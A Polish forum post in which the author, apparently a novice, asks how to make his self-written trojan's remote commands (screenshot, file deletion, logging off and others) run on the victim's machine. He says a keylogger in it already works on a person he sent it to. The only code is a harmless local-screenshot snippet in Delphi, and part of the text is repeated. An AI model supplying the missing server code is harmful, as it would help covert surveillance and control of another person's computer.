Otóż zrobiłem swojego trojana. Następnie wysłałem serwer lammerowi (po przeczytaniu tego postu mnie też tak chyba będziecie mogli nazwać), on go odpalił i klient się połączył z serwerem. Ale mam jeden mały, a dla mnie ogromny problem. Wszystkie komendy działają na moim komputerze, chociaż jest połączenie do innego... Zakładam, a wręcz jestem prawie pewien, że należy dodać jakieś procedurki do servera.
Jestem pewny że udało się połączyć, bo w serwerze jest przy okazji zawarty keylogger, który działa.
Przykład:
To jest kod w kliencie. Klikam na button i robi się screen, ale z mojego kompa. W serwerze nie ma nic dotyczącego zarówno tej i innych komend.
Napiszcie co powinienem wstawić do serwera.
Komendy to:
-sprawdzanie zalogowanego usera
-odwrócenie przycisków myszy
-powrót do normalnych przycisków myszy
-wylogowanie
-wysunięcie CD
-screen
-uruchomienie wygaszacza
-usunięcie pliku
-otworzenie pliku
-otworzenie strony internetowej
Jestem pewny że udało się połączyć, bo w serwerze jest przy okazji zawarty keylogger, który działa.
Przykład:
Kod:
procedure TForm1.XiButton8Click(Sender: TObject);
var
Can: TCanvas;
B: TBitmap;
begin
try
Can := TCanvas.Create;
Can.Handle := GetWindowDC(GetDesktopWindow);
B := TBitmap.Create;
B.Width := Screen.Width;
B.Height := Screen.Height;
B.Canvas.CopyRect(Rect(0, 0, Screen.Width, Screen.Height), Can, Rect(0, 0, Screen.Width, Screen.Height));
try
B.SaveToFile('D:............screen.bmp');
except
raise Exception.Create('Error');
end;
To jest kod w kliencie. Klikam na button i robi się screen, ale z mojego kompa. W serwerze nie ma nic dotyczącego zarówno tej i innych komend.
Napiszcie co powinienem wstawić do serwera.
Komendy to:
-sprawdzanie zalogowanego usera
-odwrócenie przycisków myszy
-powrót do normalnych przycisków myszy
-wylogowanie
-wysunięcie CD
-screen
-uruchomienie wygaszacza
-usunięcie pliku
-otworzenie pliku
-otworzenie strony internetowej